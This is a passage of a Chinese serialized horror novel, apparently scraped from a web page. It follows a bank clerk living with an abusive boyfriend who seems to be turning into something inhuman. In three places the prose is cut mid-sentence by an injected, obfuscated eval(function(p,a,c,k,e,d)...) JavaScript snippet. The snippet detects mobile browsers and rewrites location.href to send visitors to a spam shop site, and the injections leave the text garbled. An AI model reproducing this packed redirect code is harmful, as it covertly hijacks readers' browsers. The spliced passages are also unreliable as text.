王志强还没回来。 她换了鞋，放下包，坐在沙发上。 盯着那个坑。 那个坑，又浅了一点。 她不知道这意味着什么。 但她知道，他没回来是好事。 至少今晚，她可以一个人睡。 四 一天，两天，三天。 王志强一直没回来。 陈默每天上班，下班，回家，睡觉。生活突然变得很简单。 没有砸门声，没有骂人声，没有那个呼吸声。 没有那只凉的手摸她的脸。 没有那两只发光的眼睛盯着她。 只有她一个人。 一开始她不习惯。总是忍不住回头，总觉得背后有人。晚上睡觉的时候，卧室门必须开着，不然会害怕。半夜醒来好几次，竖起耳朵听动静。 但慢慢的，她开始适应了。 一个人的生活。 上班，下班，吃饭，睡觉。 不用看谁的脸色，不用听谁骂人，不用给谁倒洗脚水。 她甚至开始享受这种感觉。 第四天晚上，她做了顿饭。 简单的西红柿炒蛋，加一个紫菜汤。她坐在饭桌前，一个人吃。 吃着吃着，眼泪掉下来了。 不是难过。 是不知道为什么。 就是突然想哭。 她放下筷子，坐在那儿，哭了很久。 哭完，擦干眼泪，继续吃饭。 吃完饭，洗碗，洗澡，睡觉。 一夜无梦。 五 第五天，第六天，第七天。 王志强还是没回来。 也没有任何消息。 手机上一句话都没有。 陈默有时候会拿起手机，看着他的对话框。最后一条消息还是那天他发的：“我晚上不回来了。” 她盯着那行字，盯很久。 然后放下手机。 她想给他发消息吗？ 不想。 她害怕。 害怕他回消息，害怕他不回消息，害怕他回消息之后又要发生什么。 所以她不发。 就这样过。 第八天晚上，陈默躺在床上，盯着天花板。 天花板还是那个天花板，灰白色，有一点光从窗帘缝里漏进来。 她盯着那点亮，突然想起一个问题。 他到底去哪儿了？ 出差？ 出什么差？ 去多久？ 为什么不发消息？ 她不知道。 但她开始想了。 第九天，第十天。 她开始越来越频繁地看手机。 看他的对话框。 看有没有新消息。 没有。 一直没有。 第十一天晚上，她躺在床上，翻来覆去睡不着。 脑子里全是问题。 他去哪儿了？ 他还会回来吗？ 他是不是不要她了？ 这个念头一冒出来，她吓了一跳。 她居然在担心他不要她？ 她不是应该希望他永远别回来吗？ 她不是应该趁这个机会跑吗？ 但她没跑。 她还在这个家里。 每天上班，下班，吃饭，睡觉。 等着他回来。 她为什么等他？ 她不知道。 但她就是睡不着。 六 第十二天晚上，陈默终于忍不住了。 她拿起手机，打开王志强的对话框。 打了一行字： “你什么时候回来？” 盯着看。 删掉。 又打： “在吗？” 删掉。 又打： “你还好吗？” 删掉。 她盯着那个空白的对话框，盯了很久。 然后她按下了通话键。 嘟——嘟——嘟—— 每一声，都像砸在她心上。 接了。 “喂？” 那个声音。 和平时一样，又不一样。隔着电话，听不出什么异常。 陈默张了张嘴。 “你……在哪儿？” 那边顿了一下。 “出差。怎么了？” 出差。 真的出差。 “哦。”她说，“没事，就是问问。” 那边又顿了一下。 “嗯。过几天回去。” 挂了。 陈默举着手机，听着忙音。 忙音响了很久。 她把手机放下，躺在床上，盯着天花板。 出差。 过几天回来。 就是这样。 她不知道自己是松了一口气，还是更害怕了。 七 第十三天，第十四天，第十五天。 陈默继续过着一个人的生活。 上班，下班，吃饭，睡觉。 那个坑越来越浅了。现在已经看不出来了，只有仔细看，才能看出那一块稍微有点塌。 空气里的味道也淡了。要凑近了闻，才能闻到一点点。 床上的那个人形印子，也浅了很多。 这个家，正在慢慢变回正常。 就像他从来没存在过。 陈默有时候会想，如果他一直不回来，是不是就这样了？ 她就这么一个人过下去。 上班，下班，吃饭，睡觉。 一个人。 没有砸门声，没有骂人声，没有那只凉的手。 挺好的。 但她也知道，他会回来的。 他说过几天回来。 过几天是几天？ 她不知道。 她只知道，在他说“过几天”之后，已经又过了三天。 他还是没回来。 八 第十六天晚上，陈默坐在沙发上，看着电视。 电视开着，放什么综艺节目，罐头笑声一阵一阵的。 她盯着屏幕，什么都没看进去。 脑子里在想一件事。 如果他就这样不回来了，她会怎么样？ 继续上班，下班，吃饭，睡觉。 一个人住在这个房子里。 房租谁交？他交的。水电费谁交？他交的。这个房子是他的，不是她的。 如果他不回来，这些费用怎么办？ 她交得起吗？ 她算过，房租至少三千五，水电燃气加起来三四百，加上吃饭交通，一个月下来，她工资刚够，一分不剩。 但那是如果她不付房租的情况下。 如果她开始付房租，每个月至少多出三千五的开销。 她付不起。 除非她换房子，换个小点的，便宜点的。 但那也要钱。 押一付三，至少七八千。 她拿不出来。 而且，如果他回来了呢？ 如果他回来了，发现她搬走了，会怎样？ 她不敢想。 所以她就这么住着。 等着他回来。 或者等着他不回来。 她不知道哪个更可怕。 九 第十七天晚上，陈默躺在床上，盯着天花板。 脑子里又开始想那些问题。 从小到大，她好像一直在等。 等妈妈下班，等爸爸回家，等考试结果，等录取通知书，等工作机会，等王志强回来。 等，等，等。 永远是等。 永远是被动的那个。 小时候，妈妈说“你要听话”，她就听话。老师说“你要好好学习”，她就好好学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387625|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。工作了，领导说“你要努力”，她就努力。王志强说“你要懂事”，她就懂事。 她听话了二十八年。 听话的结果是什么？ 妈妈不要她了。 王志强…… 她不知道。 但她知道，她从来没想过，可以不听话。 可以跑。 可以去一个没人认识的地方，重新开始。 但这个念头一冒出来，就被另一个念头压下去了。 去哪？ 钱呢？ 工作呢？ 一个人，能活吗？ 她不知道。 从小到大学会的那些东西，从来没教过她这些。 她们只教她，要听话，要懂事，要忍耐。 忍耐下去，一切都会好的。 真的会好吗？ 她看着天花板。 天花板是灰白色的。 和二十年前她老家那个天花板，一样的灰白色。 她盯着那片灰白，突然想起小时候。 那时候她七八岁，躺在床上睡不着，盯着天花板。她妈在外面打电话，声音很大，是在跟谁吵架。她爸坐在客厅里抽烟，不说话。 她躺在那儿，想：等我长大了，一定要离开这里。 后来她长大了。 她离开家了。 但她只是换了一个天花板。 还是灰白色的。 还是一个人躺着。 还是等。 十 第十八天早上，陈默醒来的时候，发现枕头湿了一片。 她不知道自己什么时候哭的。 也许做梦了，也许没有。 她坐起来，擦干脸，去洗漱。 镜子里的自己，眼袋没那么重了。痘也消了一点。脸色还是不好，但比之前强。 她盯着镜子里的自己，看了很久。 然后她洗脸，刷牙，化妆，换衣服，上班。 地铁上人很多，她被挤在中间，动弹不得。 旁边有两个女孩在聊天，声音很大。 “我跟你说，我受不了了，我要分手。” “为什么？” “他太烦了，天天管我，我都快窒息了。” “那就分啊。” “可是……我们在一起三年了。” 陈默听着，突然想笑。 三年。 又是三年。 她转过头，看着那两个女孩。 二十出头，脸上满满的都是胶原蛋白，眼睛亮亮的，带着那种年轻人特有的天真。 她们不知道三年意味着什么。 她们不知道三年可以把一个人磨成什么样。 她们不知道三年之后，她们可能也会变成她这样。 她收回目光，盯着车窗。 车窗上映出她的脸，模模糊糊的。 那张脸，没有表情。 十一 晚上回到家，陈默做了饭。 还是简单的西红柿炒蛋，加一个紫菜汤。 她一个人吃。 吃着吃着，手机响了。 她拿起来看。 王志强的名字在屏幕上亮着。 她盯着那两个字，看了三秒。 然后接起来。 “喂？” “明天回去。” 就四个字。 然后挂了。 陈默举着手机，听着忙音。 忙音响了很久。 她把手机放下，继续吃饭。 但饭已经凉了。 她夹了一筷子，放进嘴里。 什么味道都没有。 她嚼着，咽下去。 又夹了一筷子。 还是什么味道都没有。 她放下筷子，坐在那儿，盯着那盘菜。 明天回去。 他明天回来。 她等了十八天。 等他回来。 他真的回来了。 她应该高兴吗？ 还是害怕？ 她不知道。 她只知道，从明天开始，那个味道会回来。 那个坑会变深。 那只凉的手会再摸她的脸。 那两只发光的眼睛会再在黑暗里盯着她。 她又要开始数三十秒了。 她坐着，坐了很久。 然后她站起来，把碗收了，洗了，放好。 走进卧室，躺下。 盯着天花板。 天花板还是灰白色的。 和十八天前一模一样。 她盯着那片灰白，一直盯到天亮。 十二 早上七点，陈默醒了。 她不知道自己什么时候睡着的。 她坐起来，去洗漱，换衣服，化妆。 镜子里的自己，又变回原来的样子。 眼袋，痘，灰白的脸色。 她盯着那张脸，看了很久。 然后她拿起包，出门。 走到门口的时候，她停了一下。 回头看了一眼这个家。 沙发上的坑，又变深了一点。 只是一点，但她看见了。 空气里，又有了那股淡淡的味道。 油油的，腻腻的。 她站在那儿，看着那个坑，闻着那个味道。 然后她推开门，走出去。 门在身后关上。 她站在走廊里，等电梯。 电梯上来，门打开。 她走进去。 电梯下行的时候，她靠着电梯壁，闭着眼。 脑子里只有一个念头。 他会回来的。 他就在回来的路上。 而她，无处可去。 所以就这样吧。 就这样过下去。 反正从小到大，她学会的就是这个。 忍耐。 接受。 不反抗。 她睁开眼，看着电梯门上自己的倒影。 那个倒影，也在看她。 她看着那个自己，突然想起小时候。 七八岁，躺在床上，盯着天花板，想：等我长大了，一定要离开这里。 她长大了。 她没有离开。 她只是换了一个天花板。 还是灰白色的。 还是一个人。 还是在等。 电梯门开了。 她走出去，走进人群，走进阳光里。 新的一天开始了。 和昨天一样。 和明天一样。 和以后每一天一样。 --- 第十三章完 14. 第十四章 他回来了 第十四章他回来了 一 陈默下班的时候，天已经黑了。 六点四十，十二月的天黑得早。她走出银行大门，冷风扑面而来，她缩了缩脖子，把围巾裹紧。 手机在口袋里，没有消息。 一整天都没有消息。 他说“明天回去”，但没说几点。她不知道他什么时候到，不知道推开门的时候会不会看见他。 地铁上人很多，晚高峰，挤得像沙丁鱼罐头。她被挤在车门旁边，一只手拉着扶手，一只手护着包。车窗外的隧道灯一盏一盏往后闪，快得看不清。 她盯着那些光，脑子里空空的。 什么都没想。 什么都不敢想。 到站了，她被人群推下去，走出地铁站，往家走。 小区里很安静，路灯亮着，把她的影子拉得很长。她踩着那个影子，一步一步往前走。 走到楼下，她抬头看七楼的窗户。 黑的。 他没回来。 她松了一口气，又憋了一口气。 说不上来是什么感觉。 电梯上行，开门，掏钥匙，开门。 屋里黑的。 她开灯，换鞋，放下包，走进客厅。 沙发上的坑，又深了一点。 她站在那儿，看着那个坑。 然后她听见一个声音。 “回来了？” 二 陈默猛地转身。 王志强坐在餐桌旁边，黑暗里，她没看见他。 他坐在那儿，看着她。 那两只眼睛，在黑暗里，发着光。 陈默攥紧手指。 “你……什么时候回来的？” “下午。” 下午。 她上班的时候，他就回来了。 她什么都不知道。 他站起来，走过来。 一步一步，走到她面前。 那股味道——油油的，腻腻的，甜酸甜酸的——扑面而来。比之前更浓了。浓到她几乎要窒息。 他低头看着她。 那两只发光的眼睛，离她很近。 “十八天。”他说。 陈默没说话。 “你一个人过了十八天。” 她还是没说话。 他伸出手，放在她脸上。 凉的。 比之前更凉了。 像刚从冰柜里拿出来的东西。 那只手在她脸上慢慢移动，从额头到眼睛，从眼睛到鼻子，从鼻子到嘴巴。 “没跑。”他说。 那个语气，不是疑问，是陈述。 她知道他没跑。 “好。”他说。 他收回手，转身走回沙发，坐下。 “做饭。” 陈默站着没动。 他抬头看她。 “做饭。” 她转身走进厨房。 冰箱里没什么东西。这几天她一个人，随便吃点就行，没买菜。她翻了半天，找到几个鸡蛋，一把挂面，还有半棵白菜。 她开始做饭。 切白菜，打鸡蛋，烧水，煮面。 手在抖。 刀差点切到手指。 她深吸一口气，稳住手。 做好饭，端出去。 两碗面，放在茶几上。 王志强拿起筷子，开始吃。 陈默坐在旁边，看着他吃。 他吃面的样子，和之前一样。夹一筷子，送进嘴里，嚼，咽下去。嚼的时候，嘴巴还是不动。只有喉咙在动，一下一下，把东西咽下去。 她看着那个喉咙，突然注意到一件事。 他的喉咙，在动的时候，会鼓起一块。 不是正常人咽东西那种鼓起。 是一大块，像有什么东西从里面往外顶。 她盯着那块鼓起，移不开眼。 他吃完一碗，放下筷子。 “你不吃？” 陈默低头看自己的碗。 面已经坨了。 她拿起筷子，开始吃。 什么味道都没有。 她嚼着，咽下去。 他看着她吃。 那两只发光的眼睛，一直盯着她。 她低着头，不敢抬头。 吃完，她站起来收碗。 “放着。”他说。 她停下。 “明天收。” 她放下碗，不知道该干什么。 他拍了拍沙发旁边的位置。 “过来坐。” 她走过去，坐下。 离他半米远。 他伸手，把她拉近。 那只手，凉得她打了个哆嗦。 他把她拉到自己旁边，让她靠着他的肩膀。 那股味道，更浓了。 她忍着不呼吸。 但忍不住。 每一次呼吸，都把那个味道吸进去。 他靠着沙发，闭着眼。 那两只眼睛，不发光了。 就像睡着了一样。 陈默坐在他旁边，一动不动。 不知道过了多久，他开口了。 “这十八天，你在想什么？” 陈默愣了一下。 “没想什么。” “没想跑？” 她没说话。 他睁开眼，看着她。 那两只眼睛，又亮了。 “想过吗？” 她看着他。 想过吗？ 想过。 站在门口，拿着钥匙，想过。 站在窗边，看着外面，想过。 躺床上，盯着天花板，想过。 但她说：“没有。” 他盯着她，看了几秒。 然后笑了。 那个笑，和之前一样。贴上去的，不动的，不属于那张脸的。 “好。”他说。 他又闭上眼。 陈默坐着，一动不动。 三 那一夜，陈默又没睡。 她躺在王志强旁边，睁着眼，盯着天花板。 他睡着，呼吸均匀。 那股味道，整个卧室都是。她觉得自己像躺在一个正在腐烂的东西旁边。 她慢慢转过头，看他的脸。 黑暗里，他的脸看不太清。只能看见一个轮廓。 那个轮廓，和平时一样。 但她看着看着，总觉得有什么不对。 不是轮廓不对。 是……别的东西。 她盯着那张脸，盯了很久。 然后她看见了。 他的脸，在动。 不是睡着的那种动。 是皮肤底下，有什么东西在动。 像虫子，在皮下面爬。 一下，一下，一下。 从额头爬到脸颊，从脸颊爬到下巴，从下巴爬到脖子。 然后消失了。 陈默屏住呼吸。 他的脸，又恢复平静。 但那一下，她看见了。 真的看见了。 她慢慢往后挪，想离他远一点。 但他伸出手，把她拉回去。 那只手，凉得像冰。 “别动。”他说。 他没睁眼。 但他知道她在动。 陈默僵在那儿，一动不动。 他的手，还搭在她身上。 凉的，沉的，像一块石头。 她就这样躺着，一直躺到天亮。 四 早上，陈默起床的时候，王志强已经不在了。 她不知道他什么时候走的。 她下楼的时候，在电梯里碰见一个邻居。 是个老太太，住五楼，平时见面会点头打招呼。 今天她看见陈默，愣了一下。 “小陈啊，你脸色怎么这么差？” 陈默摇摇头。 “没事，没睡好。” 老太太看着她，欲言又止。 电梯到了一楼，门开了。 陈默走出去。 老太太在后面，叫住她。 “小陈。” 她回头。 老太太站在电梯里，看着她。 “你……你小心点。” 电梯门关上了。 陈默站在那儿，看着那扇关上的门。 小心点？ 小心什么？ 她不知道。 但她记住了那个眼神。 老太太看她的眼神，像看一个快死的人。 五 一整天，陈默都心不在焉。 办业务的时候，差点把客户的钱数错。老张在旁边提醒她，她才反应过来。 中午休息的时候，她坐在食堂角落，盯着餐盘发呆。 老张坐过来。 “陈默，你今天怎么回事？” 她摇摇头。 “没事。” 老张看着她，没说话。 过了一会儿，他开口了。 “陈默，有些话我不知道该不该说。” 陈默抬起头。 老张看着她，表情有点复杂。 “你那个男朋友……他是不是……” 他没说完。 陈默等着。 老张叹了口气。 “算了，没什么。” 他站起来，走了。 陈默坐在那儿，盯着他的背影。 老张想说什么？ 他是不是什么？ 她不知道。 但她突然想起一件事。 老张在银行干了十几年，见过的人比她多得多。 他是不是看出什么了？ 六 晚上下班，陈默回到家。 王志强在家。 他坐在沙发上，看电视。 和以前一样。 陈默换了鞋，放下包，不知道该干什么。 “过来坐。”他说。 她走过去，坐下。 他伸手，把她拉近。 那只手，还是凉的。 她靠在他身上，闻着那股味道。 电视里放着什么综艺节目，罐头笑声一阵一阵的。 她盯着屏幕，什么都看不进去。 过了一会儿，他开口了。 “陈默。” 她转头看他。 他看着电视，没看她。 “你知道我为什么找你吗？” 陈默愣了一下。 “什么？” 他转过头，看着她。 那两只眼睛，在灯光下，发着光。 “我找了很久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387626|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”他说，“很久很久。” 她没说话。 “你是第一个。” 第一个？ 第一个什么？ 他没解释。 他又转回去看电视。 陈默坐着，脑子里乱糟糟的。 第一个？ 第一个什么？ 第一个活到现在的？ 第一个没跑掉的？ 第一个……熟的？ 她不知道。 但她知道，她不想知道。 七 那天晚上，陈默又失眠了。 她躺在王志强旁边，睁着眼，盯着天花板。 他睡着，呼吸均匀。 那股味道，比昨天更浓了。 她慢慢转过头，看他的脸。 黑暗里，那张脸，又在动。 皮肤底下，有什么东西在爬。 从额头爬到眼睛，从眼睛爬到鼻子，从鼻子爬到嘴巴。 然后，嘴巴张开了。 不是他自己张开的。 是皮肤底下的那个东西，从里面把嘴巴撑开了。 陈默看见他的嘴里。 那个黑洞。 但这一次，黑洞里，有什么东西在往外冒。 是虫子。 细细的，白白的，像蛆一样的虫子。 从他的嘴里爬出来。 一只，两只，三只。 爬到他脸上，爬到他脖子上，爬到他胸口。 陈默捂住自己的嘴，不让自己叫出来。 那些虫子，越来越多。 从他的眼睛、鼻子、耳朵里往外冒。 他整个脸，都爬满了虫子。 但他还在睡。 呼吸均匀。 像什么都没发生。 陈默慢慢往后挪。 一点，一点，一点。 挪到床边，慢慢下床。 光着脚，一步一步往外走。 走到门口，回头看了一眼。 他还在那儿躺着。 满身虫子。 她拉开门，冲出去。 八 陈默跑到客厅，靠在墙上，大口喘气。 她低头看自己。 身上没有虫子。 还好。 她抬起头，看着卧室门。 门开着。 里面黑漆漆的，什么都看不见。 但她知道，那些虫子还在。 还在他脸上爬。 她站在那儿，不知道该怎么办。 跑？ 跑哪儿去？ 门在那边。 她可以跑。 但她没动。 她就站在那儿，看着那扇门。 不知道过了多久，卧室里传来一个声音。 “陈默。” 她浑身一僵。 “进来。” 她没动。 “进来。” 那个声音，还是他的声音。 但那个语气，不对。 不是命令，不是威胁。 是邀请。 像在叫她吃饭一样平常。 她慢慢走过去。 走到卧室门口，往里看。 他还躺着。 还是那个姿势。 脸上什么都没有。 没有虫子。 干干净净。 他睁开眼，看着她。 那两只眼睛，发着光。 “做噩梦了？”他问。 陈默张了张嘴。 “我……我看见……” “看见什么？” 她看着他。 那张脸，干干净净。 什么都没有。 “没什么。”她说。 他笑了。 那个笑，贴上去的，不动的。 “过来睡。” 她走过去，躺下。 他伸手，把她拉近。 凉的。 那股味道，更浓了。 她闭上眼。 脑子里全是那些虫子。 白的，细细的，从他的嘴里爬出来。 她现在躺在他旁边。 那些虫子，会不会爬到她身上？ 她不知道。 她只知道，她不能睁开眼。 睁开眼，就会看见。 九 天亮的时候，陈默醒了。 王志强已经不在了。 她躺在床上，盯着天花板。 阳光从窗帘缝里漏进来，照在她身上，暖洋洋的。 但她觉得冷。 从里到外的冷。 她坐起来，下床，走到卫生间。 镜子里的自己，又变样了。 眼袋更黑了，脸色更灰了，下巴上的痘更多了。 但最可怕的，是眼睛。 那两只眼睛，有一点发亮。 不是发光，是发亮。 就像他的眼睛那样。 她盯着那双眼睛，看了很久。 然后她打开水龙头，用冷水洗脸。 洗了一遍，又洗了一遍，又洗了一遍。 洗到脸发红，才停下来。 抬起头，看镜子。 那双眼睛，还在发亮。 洗不掉。 --- 第十四章完 15. 第十五章 眼睛 第十五章眼睛 一 陈默请假了。 她给周行长发微信，说身体不舒服，想休息一天。 周行长回了一个字：好。 她把手机放下，坐在沙发上，盯着茶几上的镜子。 那面小圆镜是她早上从卫生间拿出来的。她想再看看自己的眼睛。 现在看，那点亮还在。 不是很明显，要凑近了仔细看才能发现。但她知道它在那儿。 那点亮，不属于她。 她盯着镜子里的自己，盯了很久。 然后她把镜子扣在茶几上，站起来，走到窗边。 外面阳光很好，十二月难得的好天气。有人在楼下遛狗，有小孩在跑，有老人在晒太阳。 很正常的世界。 她看着那些人，突然想：他们的眼睛，会发光吗？ 不会。 只有她的会。 还有他的。 二 中午的时候，门响了。 陈默浑身一僵。 钥匙捅进锁孔的声音，拧开，推门。 王志强走进来。 他看了她一眼。 “没上班？” 陈默点点头。 “不舒服。” 他走过来，站在她面前。 低头看她。 那两只眼睛，在中午的光线里，发着光。 和她的眼睛一样。 “让我看看。”他说。 他伸出手，抬起她的下巴。 盯着她的眼睛看。 看了很久。 然后他笑了。 那个笑，贴上去的，不动的。 “快了。”他说。 快了。 又是这个词。 陈默没说话。 他松开手，转身走进卧室。 过了一会儿，他出来，手里拿着一个东西。 是一个小瓶子。 透明的，里面装着什么液体，也是透明的。 “每天滴一次。”他说。 他把瓶子放在茶几上。 陈默看着那个瓶子。 “这是什么？” “眼睛的。” 眼睛的？ 什么眼睛的？ 他没解释。 他走到门口，回头看了她一眼。 “别忘了。” 门关上了。 陈默盯着那个小瓶子，盯了很久。 然后她拿起来，对着光看。 液体是透明的，和水一样。 她拧开盖子，闻了闻。 没有味道。 她不知道这是什么。 但她知道，她不会滴的。 三 那天晚上，陈默又失眠了。 她躺在床上，睁着眼，盯着天花板。 王志强在旁边，睡着，呼吸均匀。 那股味道，更浓了。 她已经习惯了那个味道。或者说，她的鼻子已经闻不出来了。 但她知道它还在。 她慢慢转过头，看他的脸。 黑暗里，那张脸，又在动。 皮肤底下，有什么东西在爬。 从额头爬到眼睛，从眼睛爬到鼻子，从鼻子爬到嘴巴。 然后嘴巴张开。 那些虫子，又出来了。 白的，细细的，从他的嘴里、眼睛里、鼻子里往外冒。 爬满他整张脸。 陈默看着那些虫子，一动不动。 这一次，她没有跑。 她就那么看着。 看着那些虫子在他脸上爬，爬到他脖子上，爬到他胸口。 然后，有一只虫子，从他脸上掉下来。 掉在床上。 往她这边爬。 陈默盯着那只虫子。 白的，细细的，一寸来长，像蛆，但比蛆细。 它爬得很慢，一伸一缩，一伸一缩。 往她这边来。 陈默没动。 就看着它爬。 它爬过枕头，爬过被子，爬到她的手边。 停下来。 抬起头——如果它有头的话——对着她的手。 然后它爬上去了。 爬上她的手背。 她能感觉到它。凉凉的，软软的，在她手背上蠕动。 它爬过手背，爬过手腕，爬进袖子里。 顺着她的胳膊往上爬。 爬过手肘，爬过上臂，爬到肩膀。 然后它钻进她的领口。 爬到她的胸口。 停下来。 不动了。 陈默屏住呼吸。 她能感觉到那个东西，就趴在她胸口，一动不动。 像在听她的心跳。 一下，一下，一下。 听了一会儿，它又开始动。 往上爬。 爬过脖子，爬到下巴，爬到脸上。 然后，它往她的眼睛里爬。 陈默闭上眼睛。 但她能感觉到它。 它在她眼皮上蠕动，找缝隙，想钻进去。 她闭紧眼睛。 它钻不进去。 它在眼皮上爬了一会儿，放弃了。 又往下爬。 爬过鼻子，爬到嘴巴。 然后，它往她的嘴里爬。 陈默咬紧牙关。 它在她嘴唇上蠕动，想钻进去。 她咬紧牙。 它钻不进去。 它在嘴唇上爬了一会儿，又放弃了。 然后，它爬回她脸上，趴在她的脸颊上。 不动了。 陈默就这么躺着，脸上趴着一只虫子，一动不动。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387627|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不知道过了多久，那只虫子开始动了。 从她脸上爬下来，爬回床上，爬回他那边。 爬回他身上。 钻进他的嘴里。 消失了。 陈默睁开眼。 他看着还在睡。 脸上干干净净，什么都没有。 她慢慢转过头，看天花板。 胸口那个位置，那只虫子趴过的地方，还留着一点凉。 她伸手摸了摸。 凉的。 和它的手一样凉。 四 天亮的时候，陈默起来，走进卫生间。 镜子里的自己，眼睛更亮了。 那点亮，现在一眼就能看见。 她盯着那双眼睛，看了很久。 然后她低头看自己的手。 手背上，那只虫子爬过的地方，有一道淡淡的痕迹。 不是红，不是肿，是别的。 是一道浅浅的印子，像什么东西从皮肤底下往外透。 她伸手摸了摸。 凉的。 和那个虫子一样的凉。 她打开水龙头，使劲搓那个地方。 搓红了，搓疼了，那道印子还在。 洗不掉。 五 那天，陈默去上班了。 她坐在工位上，办业务，和客户说话，敲键盘。 一切都和以前一样。 但老张看她的眼神不对。 中午休息的时候，老张走过来。 “陈默。” 她抬起头。 老张看着她，表情复杂。 “你的眼睛……” 陈默没说话。 老张张了张嘴，又闭上。 然后他叹了口气。 “你自己多注意。” 他走了。 陈默坐在那儿，盯着他的背影。 注意什么？ 注意眼睛？ 还是注意别的？ 她不知道。 她只知道，从今天开始，没人敢直视她了。 六 晚上回到家，王志强不在。 陈默一个人做饭，一个人吃，一个人洗碗。 然后她坐在沙发上，盯着那面镜子。 她又把镜子拿起来了。 看着里面的自己。 那双眼睛，在灯光下，发着光。 和那天晚上他的眼睛一样。 她盯着那双眼睛，盯了很久。 然后她放下镜子，站起来，走进卧室。 躺在床上，等。 等他回来。 等那些虫子再来。 等她彻底变成他那样。 她不知道还要等多久。 但她知道，快了。 他说快了。 --- 第十五章完 16. 第十六章 三天 第十六章贷款 一 那瓶液体被陈默收进了床头柜最下面的抽屉，压在一叠旧衣服下面。 她没有滴。 一天，两天，三天。 王志强没问。 他像完全忘了这件事。 每天早上出门，晚上回来，吃饭，看电视，睡觉。偶尔骂两句，偶尔让她倒水，偶尔躺在沙发上玩手机。 和以前一样。 和规则出现之前一样。 陈默有时候会恍惚，觉得那些事是不是根本没发生过？那张纸条，那双发光的眼睛，那些虫子，那个味道——是不是都是她做梦？ 但每次照镜子，看见自己眼睛里的那点亮，她就知道不是梦。 那点亮还在。 洗不掉。 二 第四天晚上，凌晨三点多。 陈默睡得正沉，被一阵砸门声惊醒。 “砰——砰——砰——！” 是拳头砸门的声音，不是敲门。每一下都砸得整栋楼都在抖。 “开门！陈默！开门！” 王志强的声音，含糊，大舌头，喝大了。 陈默躺在床上，一动不动。 “砰——砰——砰——！” “陈默！我操你妈的聋了？！开门！” 她开始数。 一、二、三…… 砸门声一下接一下，骂声越来越难听。 十一、十二、十三…… 她很久没数过了。自从那次之后，他都是自己拿钥匙开门，从来不敲。 今天他没带钥匙？ 二十三、二十四、二十五…… 门外突然安静了。 和第一次一样，那一下安静来得毫无征兆。 陈默攥紧被角。 二十八、二十九—— 三十。 她下床，走到门口，握住门把手。 凉的。 她深吸一口气，拧开。 王志强站在门外。 走廊的声控灯没亮。他整个人站在黑暗里，只能看见一个轮廓，和那两只发光的眼睛。 陈默往后退了一步。 他迈进来，灯亮了。 还是那个王志强。脸红，眼睛肿，一身酒气。西装歪了，领口敞着，领带勒在脖子上。 他盯着她看。 “磨蹭什么呢？” 陈默没说话。 他挤过去，一屁股砸进沙发里。 “倒水。” 陈默去倒水。 端出来的时候，他已经睡着了。 她站在那儿，看着他。 和第一次一模一样。 她不知道自己该松一口气，还是该更害怕。 三 那天之后，王志强又变回正常了。 正常地骂人，正常地喝酒，正常地让她倒洗脚水，正常地嫌她这不好那不好。 陈默有时候会想，也许这才是真的他。 那些发光的眼睛，那些虫子，那个味道——也许是她疯了。 但那点亮还在她眼睛里。 她每天早上照镜子，都看见它。 越来越亮。 四 一周后的晚上，王志强突然说：“邻居老冯晚上叫吃饭，你和我一起去。” 陈默愣了一下。 “老冯？” “就楼下那个，开出租车的。” 陈默想了想，好像见过。一个五十多岁的男人，瘦，黑，见人就笑。 “我不想去。”她说。 王志强看她一眼。 “为什么？” “我……不认识他们。” “去了就认识了。”他把手机放下，“你的性格古怪，也不和邻居走动。人家请吃饭是给面子，你不去？” 陈默没说话。 他站起来，拿起外套。 “换衣服，十分钟后出门。” 陈默坐着没动。 他回头看她。 “快点儿。” 她站起来，走进卧室。 五 老冯家在五楼，两室一厅，比他们家小一点，但收拾得很干净。 陈默和王志强到的时候，已经来了五六个人。客厅里摆着一张圆桌，上面放着几盘凉菜，几瓶白酒，几个酒杯。 “哟，强哥来了！”老冯迎上来，笑着递烟，“嫂子也来了，稀客稀客！” 陈默点点头。 “你好。” 老冯把他们让到座位上。 陈默坐下，扫了一圈桌上的人。 加上她和王志强，一共八个。四男四女，都是中年人的样子。有的她眼熟，好像在电梯里见过；有的完全没印象。 王志强已经开始聊上了。 “老冯，你这酒不错啊，哪儿买的？” “朋友带的，说是纯粮食酒，你尝尝。” 王志强倒了一杯，喝了一口。 “行啊，够劲儿。” 旁边几个人也附和着，你一句我一句。 陈默坐在那儿，格格不入。 她不认识这些人，不知道他们叫什么，做什么的，和王志强什么关系。 她只能低着头，默默吃饭。 六 菜一道一道上。 老冯老婆在厨房忙活，端出来一盘红烧肉，一盘糖醋鱼，一盘炒青菜，还有一大碗排骨汤。 “嫂子吃菜，别客气。”老冯招呼着。 陈默点点头，夹了一筷子青菜。 旁边的人聊得热火朝天。 